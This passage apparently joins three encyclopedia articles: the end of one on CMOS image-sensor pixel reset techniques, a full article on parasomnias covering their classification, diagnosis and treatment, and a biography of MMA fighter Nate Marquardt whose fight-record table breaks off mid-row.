Hard reset
Operating the pixel via hard reset results in a Johnson–Nyquist noise on the photodiode of or , but prevents image lag, sometimes a desirable tradeoff. One way to use hard reset is replace Mrst with a p-type transistor and invert the polarity of the RST signal. The presence of the p-type device reduces fill factor, as extra space is required between p- and n-devices; it also removes the possibility of using the reset transistor as an overflow anti-blooming drain, which is a commonly exploited benefit of the n-type reset FET. Another way to achieve hard reset, with the n-type FET, is to lower the voltage of VRST relative to the on-voltage of RST. This reduction may reduce headroom, or full-well charge capacity, but does not affect fill factor, unless VDD is then routed on a separate wire with its original voltage.
Combinations of hard and soft reset
Techniques such as flushed reset, pseudo-flash reset, and hard-to-soft reset combine soft and hard reset. The details of these methods differ, but the basic idea is the same. First, a hard reset is done, eliminating image lag. Next, a soft reset is done, causing a low noise reset without adding any lag. Pseudo-flash reset requires separating VRST from VDD, while the other two techniques add more complicated column circuitry. Specifically, pseudo-flash reset and hard-to-soft reset both add transistors between the pixel power supplies and the actual VDD. The result is lower headroom, without affecting fill factor.
Active reset
A more radical pixel design is the active-reset pixel. Active reset can result in much lower noise levels. The tradeoff is a complicated reset scheme, as well as either a much larger pixel or extra column-level circuitry.
See also
Angle-sensitive pixel
Back-illuminated sensor
Charge-coupled device
Planar Fourier capture array
Oversampled binary image sensor
:Category:Digital cameras with CMOS image sensor
References
Further reading
— one of the first books on CMOS imager array design
External links
CMOS camera as a sensor Tutorial showing how low cost CMOS camera can replace sensors in robotics applications
CMOS APS vs CCD CMOS Active Pixel Sensor Vs CCD. Performance comparison
Image sensor inventor Peter J. W. Noble's web page with papers and video of 2015 presentation
Image showing FSI and BSI sensor topology
Image sensors
American inventions
Japanese inventions
MOSFETs
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https://en.wikipedia.org/wiki/Parasomnia
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Parasomnia
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Parasomnias are a category of sleep disorders that involve abnormal movements, behaviors, emotions, perceptions, and dreams that occur while falling asleep, sleeping, between sleep stages, or during arousal from sleep. Parasomnias are dissociated sleep states which are partial arousals during the transitions between wakefulness, NREM sleep, and REM sleep, and their combinations.
Classification
The newest version of the International Classification of Sleep Disorders (ICSD, 3rd. Ed.) uses State Dissociation as the paradigm for parasomnias. Unlike before, where wakefulness, non-rapid eye movement (NREM) sleep, and rapid eye movement (REM) sleep were considered exclusive states, research has shown that combinations of these states are possible and thus, may result in unusual unstable states that could eventually manifest as parasomnias or as altered levels of awareness.
Although the previous definition is technically correct, it contains flaws. The consideration of the State Dissociation paradigm facilitates the understanding of the sleep disorder and provides a classification of 10 core categories.
Non-rapid eye movement (NREM)-related parasomnias
NREM parasomnias are arousal disorders that occur during stage 3 (or 4 by the R&K standardization) of NREM sleep—also known as slow wave sleep (SWS). They are caused by a physiological activation in which the patient's brain exits from SWS and is caught in between a sleeping and waking state. In particular, these disorders involve activation of the autonomic nervous system, motor system, or cognitive processes during sleep or sleep-wake transitions.
Some NREM parasomnias (sleep-walking, night-terrors, and confusional arousal) are common during childhood but decrease in frequency with increasing age. They can be triggered in certain individuals, by alcohol, sleep deprivation, physical activity, emotional stress, depression, medications, or a fevered illness. These disorders of arousal can range from confusional arousals, somnambulism, to night terrors. Other specific disorders include sleepeating, sleep sex, teeth grinding, rhythmic movement disorder, restless legs syndrome, and somniloquy.
Differential diagnosis for NREM-related parasomnias
Sleep-disordered breathing
REM-related parasomnias
Nocturnal seizures
Psychogenic dissociative disorders
Confusional arousals
Confusional arousal is a condition when an individual awakens from sleep and remains in a confused state. It is characterized by the individual's partial awakening and sitting up to look around. They usually remain in bed and then return to sleep. These episodes last anywhere from seconds to minutes and may not be reactive to stimuli. Confusional arousal is more common in children than in adults. It has a lifetime prevalence of 18.5% in children and a lifetime prevalence of 2.9–4.2% in adults. Infants and toddlers usually experience confusional arousals beginning with large amounts of movement and moaning, which can later progress to occasional thrashings or inconsolable crying. In rare cases, confusional arousals can cause injuries and drowsy driving accidents, thus it can also be considered dangerous. Another sleeping disorder may be present triggering these incomplete arousals.
Somniloquy (sleep talking)
A form of parasomnia where a person will speak during their dreams.
Sleep-related abnormal sexual behavior
Sleep-related abnormal sexual behavior, Sleep sex, or sexsomnia, is a form of confusional arousal that may overlap with somnambulism. Thereby, a person will engage in sexual acts while still asleep. It can include such acts as masturbation, inappropriate fondling themselves or others, having sex with another person; and in more extreme cases, sexual assault. These behaviors are unconscious, occur frequently without dreaming, and bring along clinical, social, and legal implications. It has a lifetime prevalence of 7.1% and an annual prevalence of 2.7%.
Sleepwalking (somnambulism)
Sleepwalking has a prevalence of 1–17% in childhood, with the most frequent occurrences around the age of eleven to twelve. About 4% of adults experience somnambulism.
Normal sleep cycles include states varying from drowsiness all the way to deep sleep. Every time an individual sleeps, he or she goes through various sequences of non-REM and REM sleep. Anxiety and fatigue are often connected with sleepwalking. For adults, alcohol, sedatives, medications, medical conditions and mental disorders are all associated with sleepwalking. Sleep walking may involve sitting up and looking awake when the individual is actually asleep, and getting up and walking around, moving items or undressing themselves. They will also be confused when waking up or opening their eyes during sleep. Sleep walking can be associated with sleeptalking.
Sleep terrors (night terrors/ pavor nocturnus)
Sleep terror is the most disruptive arousal disorder since it may involve loud screams and panic; in extreme cases, it may result in bodily harm or property damage by running about or hitting walls. All attempts to console the individual are futile and may prolong or intensify their confused state. Usually they experience amnesia after the event but it may not be complete amnesia. Up to 3% of adults have sleep terrors and exhibited behavior of this parasomnia can range from mild to extremely violent. This is very prevalent in those who have violent post-traumatic stress disorder (PTSD). They typically occur in stage 3 sleep.
Sleep-related eating disorder
The Diagnostic and Statistical Manual of Mental Disorders (DSM-V) classifies sleep-related eating disorder (SRED) under sleepwalking, while ICSD classifies it as NREM-related parasomnia. It is conceptualized as a mixture of binge-eating behavior and arousal disorder. Thereby, preferentially high-caloric food is consumed in an uncontrolled manner. However, SRED should not be confused with nocturnal eating syndrome, which is characterized by an excessive consumption of food before or during sleep in full consciousness. Since sleep-related eating disorders are associated with other sleep disorders, successful treatment of the latter can reduce symptoms of this parasomnia.
Rapid eye movement (REM)-related parasomnias
REM sleep behavior disorder
Unlike other parasomnias, rapid eye movement sleep behavior disorder (RBD) in which muscle atonia is absent is most common in older adults. This allows the individual to act out their dreams and may result in repeated injury—bruises, lacerations, and fractures—to themselves or others. Patients may take self-protection measures by tethering themselves to bed, using pillow barricades, or sleeping in an empty room on a mattress. Besides ensuring the sleep environment is a safe place, pharmacologic therapy using melatonin and clonazepam is also common as a treatment for RBD, even though they might not eliminate all abnormal behaviours. Before starting a treatment with clonazepam, a screening for obstructive sleep apnea should performed. However, clonazepam needs to be manipulated carefully because of its significant side effects, i.e., morning confusion or memory impairment, mainly in patients with neurodegenerative disorders such as dementia.
Demographically, 90% of RBD patients are males, and most are older than 50 years of age. However, this prevalence in males could be biased due to the fact that women tend to have a less violent type of RBD, which leads to lower reports at sleep centres and different clinical characteristics. While men might have more aggressive behaviour during dreaming, women have presented more disturbance in their sleep. RBD may be also influenced by a genetic compound, since primary relatives seem to have significantly more chance to develop RBD compared with non-relatives control group.
Typical clinical features of REM sleep behavior disorder are:
Male gender predilection
Mean age of onset 50–65 years (range 20–80 years)
Vocalisation, screaming, swearing that may be associated with dreams
Motor activity, simple or complex, that may result in injury to patient or bed-partner
Occurrence usually in latter half of sleep period (REM sleep)
May be associated with neurodegenerative disease
Acute RBD occurs mostly as a result of a side-effect in prescribed medication—usually antidepressants. Furthermore, substance abuse or withdrawal can result in RBD.
Chronic RBD is idiopathic, meaning of unknown origin, or associated with neurological disorders. There is a growing association of chronic RBD with neurodegenerative disorders—Parkinson's disease, multiple system atrophy (MSA), or dementia—as an early indicator of these conditions by as much as 10 years. RBD associated with neurological disorders is frequently related to abnormal accumulation of alpha-synuclein, and more than 80% of patients with idiopathic RBD might develop Lewy body disease (LBD). Patients with narcolepsy are also more likely to develop RBD.
The diagnosis is based on clinical history, including partner's account and needs to be confirmed by polysomnography (PSG), mainly for its accuracy in differentiating RBD from other sleep disorders, since there is a loss of REM atonia with excessive muscle tone. However, screening questionnaires, such as RBDSQ, are also very useful for diagnosing RBD.
Recurrent isolated sleep paralysis
Recurrent isolated sleep paralysis is an inability to perform voluntary movements at sleep onset, or upon waking from sleep. Although the affected individual is conscious and recall is present, the person is not able to speak or move. However, respiration remains unimpaired. The episodes last seconds to minutes and diminish spontaneously. The lifetime prevalence is 7%. Sleep paralysis is associated with sleep-related hallucinations. Predisposing factors for the development of recurrent isolated sleep paralysis are sleep deprivation, an irregular sleep-wake cycle, e.g. caused by shift work, or stress. A possible cause could be the prolongation of REM sleep muscle atonia upon awakening.
Nightmare disorder
Nightmares are like dreams primarily associated with REM sleep. Nightmare disorder is defined as recurrent nightmares associated with awakening dysphoria that impairs sleep or daytime functioning. It is rare in children, however persists until adulthood. About 2/3 of the adult population report experiencing nightmares at least once in their life.
Catathrenia
Before the ICSD-3, catathrenia was classified as a rapid-eye-movement sleep parasomnia, but is now classified as sleep-related breathing disorder. It consists of breath holding and expiratory groaning during sleep, is distinct from both somniloquy and obstructive sleep apnea. The sound is produced during exhalation as opposed to snoring which occurs during inhalation. It is usually not noticed by the person producing the sound but can be extremely disturbing to sleep partners, although once aware of it, they tend to be woken up by their own groaning as well. Bed partners generally report hearing the person take a deep breath, hold it, then slowly exhale; often with a high-pitched squeak or groaning sound.
Sleep-related painful erections
The painful penile erections will appear only during sleep. This condition is present during REM sleep. Sexual activity does not produce any pain. There is no lesion or physical damage, but hypertonia of the pelvic floor could be one cause. It affects men of all ages, but especially from middle-age onward. Several pharmacologic treatments such as propranolol, clozapine, clonazepam, baclofen and various antidepressants are considered effective.
Other parasomnias
Exploding head syndrome
Sleep-related hallucinations
Sleep-related hallucinations are brief episodes of dream-like imagery that can be of any sensory modality, i.e., auditory, visual, or tactile. They are differentiated between hypnagogic hallucination, that occur at sleep onset, and hypnapompic hallucinations, which occur at the transition of sleep to awakening. Although normal individuals have reported nocturnal hallucinations, they are more frequent in comorbidity with other sleep disorders, e.g. narcolepsy.
Sleep enuresis
Parasomnias due to medical disorder
Parasomnias due to medication or substance
Parasomnia, unspecific
Sleep drunkenness, also known as confusional arousal, is the feeling of confusion or sudden action upon waking up from deep sleep. Severe sleep inertia, one cause of oversleeping, is considered to develop sleep drunkenness.
Isolated symptom/normal variant
Sleep talking (somniloquy)
According to ICSD-3 it is not defined a disorder in particular. It is rather an isolated symptom or normal variant and ranges from isolated speech to full conversations without recall. With a lifetime prevalence of 69% it is considered fairly common. Sleep talking is associated with REM-related parasomnias as well as with disorders or arousal. It occurs in all sleep states. As yet, there is no specific treatment for sleeptalking available.
Diagnosis
Parasomnias are most commonly diagnosed by means of questionnaires. These questionnaires include a detailed analyses of the clinical history and contain questions to:
Rule out sleep deprivation
Rule out effects of intoxication or withdrawal
Rule out sleep disorders causing sleep instability
Rule out medical disorders or treatments associated with sleep instability
Confirm presence of NREM parasomnias in other family members and during the patient's childhood
Determine the timing of the events
Determine the morphology of the events.
Furthermore, a sleep diary is helpful to exclude that sleep deprivation could be a precipitating factor. An additional tool could be the partner's log of the events. The following questions should therefore be considered:
Do you or your bed partner believe that you move your arms, legs, or body too much, or have unusual behaviors during sleep?
Do you move while dreaming, as if you are simultaneously attempting to carry out the dream? l Have you ever hurt yourself or your bed partner during sleep?
Do you sleepwalk or have sleep terrors with loud screaming?
Do your legs feel restless or begin to twitch a lot or jump around when you are drowsy or sleepy, either at bedtime or during the day?
Do you eat food or drink fluids without full awareness during the night? Do you wake up in the morning feeling bloated and with no desire to eat breakfast?
In potentially harmful or disturbing cases a specialist in sleep disorders should be approached. Video polysomnographic documentation is necessary only in REM sleep behavior disorder (RBD), since it is an essential diagnostic criteria in the ICSD to demonstrate the absence of muscle atonia and to exclude comorbid sleep disorders. For most of the other parasomnias, polysomnographic monitoring is a costly, but still supportive tool in the clinical diagnosis.
The use of actigraphy can be promising in the diagnostical assessment of NREM-related parasomnias, for example to rule out sleep deprivation or other sleep disorders, like circadian sleep-wake rhythm disorder which often develops among shift workers. However, there is currently no generally accepted standardized technique available of identifying and quantifying periodic limb movements in sleep (PLMS) that distinguishes movements resulting from parasomnias, nocturnal seizures, and other dyskinesias. Eventually, using actigraphy for parasomnias in general is disputed.
Treatment
Parasomnias can be considered as potentially harmful to oneself as well as to bed partners, and are associated with other disorders. Children with parasomnias do not undergo medical intervention, because they tend to recover the NREM-related disorder with the process of growth. In those cases, the parents receive education on sleep hygiene to reduce and eventually eliminate precipitating factors.
In adults psychoeducation about a proper sleep hygiene can reduce the risk to develop parasomnia. Case studies have shown that pharmacological interventions can improve symptoms of parasomnia, however mostly they are accompanied by side-effects. Behavioral treatments, i.e., relaxation therapy, biofeedback, hypnosis, and stress reduction, may also be helpful, but are not considered as universally effective.
Prognosis
NREM-related parasomnias which are common in childhood show a good prognosis, since severity decreases with age, the symptoms tend to resolve during puberty. Adults with NREM-related parasomnias, however, are faced with a stronger persistence of the symptoms, therefore, full remission is quite unlikely and is also associated with violent complications, including homicide. The variant sleep-related eating disorders is chronic, without remission, but treatable.
REM sleep behavior disorder (RBD) can mostly be handled well with the use of melatonin or clonazepam. However, there is high comorbidity with neurodegenerative disorders, that is in up to 93% of cases. The underlying psychopathology of nightmare disorder complicates a clear prognosis.
The prognosis for other parasomnias seems promising. While exploding head syndrome usually resolves spontaneously, the symptoms for sleep-related hallucinations tend to diminish over time.
See also
Dyssomnia
Insomnia
Rhythmic movement disorder
Sleep medicine
Sleep paralysis
Alien abduction, which some investigators claim is caused by parasomnia.
Notes
References
Aurora RN et al. Journal of Clinical Sleep Medicine 2010; 6(1):85-95.
Aurora RN et al. Journal of Clinical Sleep Medicine 2010; 6(4):398-401.
Bassetti et al., Lancet (2000); 356: 484–485
Boeve et al. Journal of Geriatr Psychiatry Neurol 2004; 17:146-157
Mahowald & Schenck. Insights from studying human sleep disorders. Nature (2005); 437(7063):1279-85.
Further reading
External links
Sleep disorders
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https://en.wikipedia.org/wiki/Nate%20Marquardt
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Nate Marquardt
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Nathan Joel Marquardt (born April 20, 1979) is an American mixed martial artist who competed in the middleweight and welterweight division of the Ultimate Fighting Championship. A professional competitor since 1999, he is a former Strikeforce Welterweight Champion and a three-time Pancrase Middleweight Champion.
Background
Marquardt was born in Lander, Wyoming to a father of German origin, and a mother of Welsh origin. He was raised along with his four other siblings in Denver, Colorado. Marquardt's late father was a Lutheran pastor, worked in construction, and was also a Marine veteran who fought in the Vietnam War. Marquardt's mother was a nurse and a manager at an attorney's office. Because of his father's work he and his family moved around frequently to places including Chicago, Illinois, and Indiana. Marquardt's parents divorced when he was eight years old, and the young Marquardt moved to Colorado. When he was 15 years old, he began studying the disciplines of Wing Chun Kung Fu, Japanese Jujutsu, Freestyle Wrestling, and Kenpo Karate. Present Marquardt's fighting style derived from his fights in Pancrase under the leadership of Sheldon Marr from Colorado. Sheldon Marr is the co-founder of the World Combat JuJitsu Association and he was a Junior National Judo Champion, and a California State Wrestling Champion and has been recognized as the "Instructor of the Year" by Jujitsu America, the U.S. Martial Arts Hall of Famer, the World Martial Arts Hall of Famer, and the International Black Belt Hall of Fame; and was a Coach for the 2000 U.S. World Pankration Team, and the 2007, 2008, 2009, 2010, 2011, 2012 & 2013 U.S. World Grappling Teams. Marquardt also trained with Shane Pitts in Colorado before he went to Jackson's MMA. Shane Pitts trained Marquardt in Japanese jujutsu for three years and gave him a black belt. Pitts is the founder of Law Enforcement Ground Tactics System, holder of five black belts in martial arts, a former World Masters Judo Champion, World Combat Jujitsu Association National Champion and Brazilian Jiu Jitsu Pan American Masters Division Champion. Marquardt also trained with Mike Van Arsdale and also trained Pancrase with Sanae Kikuta in the GRABAKA Dojo in Tokyo, Japan. Marquardt was active in other sports as well, including basketball and soccer, at Wheat Ridge High School and also began taking Kickboxing and Brazilian Jiu-Jitsu lessons when he was 18 years old under the instruction of Ricardo Murgel.
Mixed martial arts career
Pancrase
Marquardt began his professional mixed martial arts career in 1999, and amassing victories in various promotions before entering the Bas Rutten Invitational 4 tournament, which was organized in such a manner that the tournament winner was to be offered a contract with the Ultimate Fighting Championship. Despite winning the tournament, Marquardt was offered no such contract. Instead, he signed with Japan's Pancrase organization, which had fostered such fighters as Ken Shamrock and Bas Rutten. In his first Pancrase fight, Marquardt lost via submission to Genki Sudo.
Invited back to Pancrase for a middleweight elimination tournament, Marquardt defeated Daiju Takase, Kiuma Kunioku, and Shonie Carter to become the first middleweight King of Pancrase. Marquardt defended this title twice before being defeated by Kunioku in December 2001. A final encounter between the two fighters in December 2002 saw Marquardt defeat Kunioku once again to recapture the King of Pancrase championship, which he held for nearly a year.
On November 30, 2003, Marquardt was involved in a brief altercation with Ricardo Almeida in a Pancrase title fight. Marquardt tapped out to a guillotine choke, however, the referee was unable to immediately separate the fighters, and Almeida continued to apply the choke, posing for ringside cameras. After he was freed, Marquardt threw a strike at Almeida's face, prompting both corners to storm into the ring, including Renzo Gracie. Renzo was cornering Almeida, and once in the ring he kicked Marquardt in the face. The confrontation eventually came to an end, and Marquardt approached Almeida after the bout to congratulate him. After Almeida vacated his title in July 2004, Marquardt proceeded to regain the championship in a victory over Kazuo Misaki at Pancrase: Brave 10.
On May 1, 2005, Marquardt defeated Izuru Takeuchi, winning the Pancrase Middleweight Championship for the seventh time, becoming the only fighter to ever accomplish such a feat.
Ultimate Fighting Championship
Marquardt made his UFC debut on August 6, 2005, live on Spike TV, headlining the inaugural UFC Ultimate Fight Night card in Las Vegas, Nevada. Although Marquardt earned a unanimous decision victory over UFC veteran Ivan Salaverry, a post-fight drug test revealed high levels of nandrolone, an anabolic steroid, in Marquardt's system which led to the Nevada State Athletic Commission filing for his suspension. Marquardt maintains that he only used over-the-counter supplements in preparation for the fight. Marquardt was initially suspended for six months and assessed no fine. Marquardt's suspension was reduced to five months and he was reinstated in January 2006.
With the drug testing controversy resolved, Marquardt was set to make his return at UFC 58, against veteran Joe Doerksen. The fight proved to be a successful endeavor for Marquardt, as he won a unanimous decision. In the post-fight interview, Marquardt stated his goals of capturing the UFC Middleweight Championship and his intention to fight then-champion Rich Franklin. Marquardt then fought Crafton Wallace, a replacement for Marquardt's original opponent, Thales Leites, on the undercard of Ortiz vs. Shamrock 3: The Final Chapter on October 10, 2006. Marquardt won by rear-naked choke in the second round. Due to his commitment to the UFC, Marquardt relinquished his title as the Pancrase Middleweight Championship that same month.
At UFC Fight Night 8, Marquardt notched a dominant unanimous three-round decision victory over ADCC
Champion grappler Dean Lister that saw two judges score the bout 30-25 for Marquardt.
Middleweight title shot
Following that victory and a 4-0 debut in the UFC, Marquardt was scheduled to compete for the UFC Middleweight Championship held by Anderson Silva on July 7, 2007 at UFC 73. Marquardt lost the championship bout by TKO due to strikes at 4:50 in the first round of the fight.
Road back to title contention
After early speculation that Marquardt's contract with the UFC could expire without renewal, he confirmed that a new agreement had been signed with the organization. Marquardt's next match was to be against Thales Leites at UFC 81, but Leites withdrew from the bout due to an injured hand. This marked the second time that a bout between Leites and Marquardt had been cancelled. On January 9, the UFC announced that veteran Jeremy Horn would be Leites' replacement. Marquardt defeated Horn via guillotine choke in the second round.
Marquardt finally fought Thales Leites at UFC 85, a fight that had been postponed on two separate occasions since 2006. Marquardt and Leites had a close fight but Marquardt landed an illegal knee strike to the head of Leites in the second round. In the third round Marquardt landed an elbow to the side of the head of Leites. The deducted points proved to be crucial as Leites was deemed victorious in a very close split decision, giving Leites a title shot against Anderson Silva. Marquardt was next scheduled to face Martin Kampmann at UFC 88. Nate defeated Kampmann in 82 seconds by throwing a head kick and landing a barrage of strikes to take the win by TKO in the first round.
Marquardt obtained a second straight win to launch himself back into the title picture at UFC 95, when he defeated well-regarded Brazilian fighter Wilson Gouveia with another barrage of strikes to earn a third-round TKO.
Marquardt's next fight was against the then-undefeated submission specialist Demian Maia at UFC 102, which he won via KO 21 seconds into the first round by landing a counter straight right as Maia threw a leaping leg kick. Maia fell face down, unable to protect himself. Nate rushed in to follow up with a right hook, but stopped himself once he saw that Maia was visibly hurt.
Following his victory over Maia, Marquardt was scheduled to fight Dan Henderson to determine number one contendership to Silva's Middleweight Championship. Henderson left the UFC for Strikeforce after attempts to agree on a new contract failed. A new bout was arranged between Marquardt and American wrestler Chael Sonnen, scheduled for UFC 110 and later moved to UFC 109. Marquardt was taken down at will by Sonnen multiple times during each round. Although able to lock in a guillotine choke late in the third round, Marquardt was not able to finish the submission attempt and lost the fight in an upset via unanimous decision.
Marquardt was expected to face Alessio Sakara on July 3, 2010 at UFC 116 but the fight was cancelled after Sakara pulled out due to the death of his father.
Marquardt was expected to face Rousimar Palhares on August 28, 2010 at UFC 118, however the bout was moved to September 15, 2010 to headline UFC Fight Night 22 after Alan Belcher was forced to pull out of his bout with Demian Maia with an eye injury. Marquardt defeated Palhares via first-round TKO. During the fight, Palhares went for a heel-hook from which Marquardt slipped his leg free and Palhares looked at the referee and pointed to Marquardt's legs, seemingly complaining that Marquardt was greased. Marquardt capitalized on the opening and pounded Palhares with a quick barrage of punches to get the stoppage. The ending, though, was not due to any illegal circumstances. UFC broadcaster Joe Rogan immediately announced that Marquardt had passed an inspection from the ringside physician and the referee. Marquardt explained that before the fight; "I came out really warm because I wanted a good sweat," which explains why he was slippery and managed to remain elusive.
Less than a week after his win over Palhares, Marquardt was tapped to make a quick return to the Octagon to face Yushin Okami in a middleweight title eliminator bout on November 13, 2010 at UFC 122, replacing Vitor Belfort, as Vitor was promoted to a title fight because of Chael Sonnen's suspension for PEDs. Marquardt lost to Okami via unanimous decision.
Marquardt was expected to face Yoshihiro Akiyama on March 19, 2011 at UFC 128. However, Akiyama pulled out of the bout and was replaced by Dan Miller. Marquardt won the fight via unanimous decision.
Drop to welterweight and release from UFC
After defeating Miller, Nate's teammate, Georges St-Pierre, gave him the idea of dropping down to the welterweight division.
Marquardt was expected to debut at welterweight against Anthony Johnson on June 26, 2011 at UFC on Versus 4. However, Johnson was forced out of the bout with a shoulder injury and replaced by Rick Story. Marquardt pulled out of the fight with Story the day of the weigh-ins due to not receiving medical clearance. The UFC at the UFC on Versus 4 weigh-in announced that Marquardt did not pass the required physical. According to a video posted by Dana White on his Twitter, Marquardt was released by the UFC due to failing "medical requirements".
On June 28, 2011, Nate appeared on MMA Hour with Ariel Helwani and stated that in August 2010 he felt tired and moody and his doctor discovered he had low testosterone levels. That doctor put Nate on hormone replacement therapy, and when Nate applied for a Therapeutic Use Exemption with the New Jersey state commission, they allowed it but declared that he must go off the therapy for ten weeks, then have his levels retested by a specialist to determine if he really needs to be on the therapy or not. At the end of that period, both the specialist and Nate's primary doctor agreed his levels really were low and he was a candidate for replacement therapy. Nate's primary doctor injected him with testosterone to quickly get his levels back up in time for his scheduled fight against Story. The Pennsylvania commission had set standards for what his testosterone levels could be at fight time and Nate's levels, though trending down over the last week before the fight, still failed to fall to within the range required in time for him to be cleared to fight. Nate claimed that he retook tests on the day of the fight and was actually within qualifying limits, thus having his suspension lifted by the commission.
BAMMA
Shortly after having his suspension lifted by the Pennsylvania State Athletic Commission, Marquardt signed with top U.K. fight promotion BAMMA, the British Association of Mixed Martial Arts. He told MMAWeekly.com that a large part of the reason for signing with BAMMA was that even though the U.K. does not conduct governmental sanctioning of MMA, BAMMA officials were moving ahead with their own plans to self-regulate, including medical screening and drug testing.
He was set to make his promotional debut at BAMMA 9: Marquardt vs Yoshida on February 11, 2012 against Yoshiyuki Yoshida to determine the inaugural BAMMA World Welterweight Champion.
On January 13, 2012, Marquardt was released from his contract with BAMMA officially due to the promotion pushing back BAMMA 9, and therefore his promotional debut, to March 24, 2012.
Strikeforce
Dana White announced that Marquardt had signed with Strikeforce. His debut took place at Strikeforce: Rockhold vs. Kennedy against Tyron Woodley in a bout for the vacant Strikeforce Welterweight Championship. Nate knocked out Woodley in the fourth round, becoming the new Strikeforce Welterweight Champion.
Marquardt's first defense was against Tarec Saffiedine on January 12, 2013 at Strikeforce: Marquardt vs. Saffiedine. He lost the belt via unanimous decision.
Return to UFC and retirement
Marquardt faced Jake Ellenberger on March 16, 2013 at UFC 158. He lost the bout via first-round KO.
Marquardt faced Héctor Lombard on October 19, 2013 at UFC 166. He lost the fight via knockout in the first round.
Marquardt made a return to the middleweight division to face James Te-Huna on June 28, 2014 at UFC Fight Night 43. He won the fight via first round submission due to straight armbar.
Marquardt faced Brad Tavares on January 3, 2015 at UFC 182. He lost the fight by unanimous decision.
Marquardt faced Kelvin Gastelum on June 13, 2015 at UFC 188. He lost the fight via TKO after his corner stopped the fight between the second and third round.
Marquardt faced C. B. Dollaway on December 19, 2015 at UFC on Fox 17. He won the fight via knockout in the second round.
Marquardt next faced Thiago Santos on May 14, 2016 at UFC 198. He lost the fight via knockout in the first round.
Marquardt next faced Tamdan McCrory on October 1, 2016 at UFC Fight Night 96. Marquardt won the fight via knockout in the second round and was awarded a Performance of the Night bonus.
Marquardt faced Sam Alvey on January 28, 2017 at UFC on Fox 23. He lost the fight via unanimous decision.
Marquardt faced Vitor Belfort on June 3, 2017 at UFC 212. He lost the fight via unanimous decision. Most pundits had Marquardt winning the fight.
Marquardt faced Cezar Ferreira on November 11, 2017 at UFC Fight Night 120. He lost the fight via split decision.
On December 28, 2017, Marquardt announced his retirement from professional MMA fighting after 56 fights over an 18-year MMA career.
Return to competition
Marquardt came out of retirement for the first time in nearly four years to face Michael Cora on August 6, 2021 at Titan FC 71. He won the bout via armbar submission in the first round.
He next faced Valdir Araujo at XMMA 3 on October 23, 2021. Marquardt lost the bout via TKO after suffering a body kick and punches.
Personal life
Marquardt is married. The couple had their first child together on May 18, 2010. Nate also has a daughter, Emmalie from a previous relationship. Marquardt has an older brother who is in the United States Air Force.
Marquardt is a Christian. Marquardt has said his faith is the most important thing in his life.
Marquardt made a short cameo appearance in the beginning of MC Hammer's music video for the Jay-Z diss track, "Better Run Run" along with Brendan Schaub, Eliot Marshall, and trainer Trevor Wittman. Marquardt also had a small screen appearance in the movie Warrior as Karl "The Dane" Kruller.
Championships and accomplishments
Strikeforce
Strikeforce Welterweight Championship (One time)
Fought the last fight in Strikeforce History
Ultimate Fighting Championship
Headlined the First UFC Fight Night
Knockout of the Night (One time)
Fight of the Night (One time)
Performance of the Night (Two times)
Tied (Brad Tavares) for second most bouts in UFC Middleweight division history (23)
Pancrase Hybrid Wrestling
Pancrase Middleweight Championship (Three times, First)
2002 Pancrase Spirit Tour Champion
2000 King of Pancrase Middleweight Tournament Champion
Ring of Fire
2000 Ring of Fire Middleweight Championship (One time)
World Vale Tudo Federation
1999 World Vale Tudo Federation Championship (One time)
Bas Rutten Invitational
1999 Bas Rutten Invitational 4 Lightweight Championship (One time)
Rumble In The Rockies
1999 I.M.A. Rumble In The Rockies Championship (One time)
MMAMania.com
2010 True Warrior Award
Mixed martial arts record
|-
|Loss
|align=center|36–20–2
|Valdir Araujo
|TKO (body kick and punches)
|XMMA 3: Vice City
|
|align=center|2
|align=center|2:45
|Miami, Florida, United States
|
|-
|Win
|align=center|36–19–2
|Michael Cora
|Submission (armbar)
|Titan FC 71
|
|align=center|1
|align=center|2:39
|Miami, Florida, United States
|
|-
|Loss
|align=center|35–19–2
|Cezar Ferreira
|Decision (split)
|UFC Fight Night: Poirier vs. Pettis
|
|align=center|3
|align=center|5:00
|Norfolk, Virginia, United States
|
|-
|Loss
|align=center|35–18–2
|Vitor Belfort
|Decision (unanimous)
|UFC 212
|
|align=center|3
|align=center|5:00
|Rio de Janeiro, Brazil
|
|-
|Loss
|align=center|35–17–2
|Sam Alvey
|Decision (unanimous)
|UFC on Fox: Shevchenko vs. Peña
|
|align=center|3
|align=center|5:00
|Denver, Colorado, United States
|
|-
|Win
|align=center|35–16–2
|Tamdan McCrory
|KO (punch and head kick)
|UFC Fight Night: Lineker vs. Dodson
|
|align=center|2
|align=center|4:44
|Portland, Oregon, United States
|
|-
|Loss
|align=center|34–16–2
|Thiago Santos
|KO (punch)
|UFC 198
|
|align=center|1
|align=center|3:39
|Curitiba, Brazil
|
|-
|Win
|align=center|34–15–2
|C. B. Dollaway
|KO (punch)
|UFC on Fox: dos Anjos vs. Cowboy 2
|
|align=center|2
|align=center|0:28
|Orlando, Florida, United States
|
|-
|Loss
|align=center|33–15–2
|Kelvin Gastelum
|TKO (corner stoppage)
|UFC 188
|
|align=center|2
|align=center|5:00
|Mexico City, Mexico
|
|-
| Loss
| align=center| 33–14–2
|Brad Tavares
|Decision (unanimous)
|UFC 182
|
|align=center|3
|align=center|5:00
|Las Vegas, Nevada, United States
|
|-
| Win
| align=center| 33–13–2
| James Te-Huna
| Submission (armbar)
| UFC Fight Night: Te Huna vs. Marquardt
|
| align=center| 1
| align=center| 4:34
| Auckland, New Zealand
|
|-
| Loss
| align=center| 32–13–2
| Héctor Lombard
| KO (punches)
| UFC 166
|
| align=center| 1
| align=center| 1:48
| Houston, Texas, United States
|
|-
| Loss
| align=center| 32–12–2
| Jake Ellenberger
| KO (punches)
| UFC 158
|
| align=center| 1
| align=center| 3:00
| Montreal, Quebec, Canada
|
|-
| Loss
| align=center| 32–11–2
| Tarec Saffiedine
| Decision (unanimous)
| Strikeforce: Marquardt vs. Saffiedine
|
| align=center| 5
| align=center| 5:00
| Oklahoma City, Oklahoma, United States
|
|-
| Win
| align=center| 32–10–2
| Tyron Woodley
| KO (elbows and punches)
| Strikeforce: Rockhold vs. Kennedy
|
| align=center| 4
| align=center| 1:39
| Portland, Oregon, United States
|
|-
| Win
| align=center| 31–10–2
| Dan Miller
| Decision (unanimous)
| UFC 128
|
| align=center| 3
| align=center| 5:00
| Newark, New Jersey, United States
|
|-
| Loss
| align=center|
| Yushin Okami
| Decision (unanimous)
| UFC 122
|
| align=center| 3
| align=center| 5:00
| Oberhausen, Germany
|
|-
| Win
| align=center| 30–9–2
| Rousimar Palhares
| TKO (punches)
| UFC Fight Night: Marquardt vs. Palhares
|
| align=center| 1
| align=center| 3:28
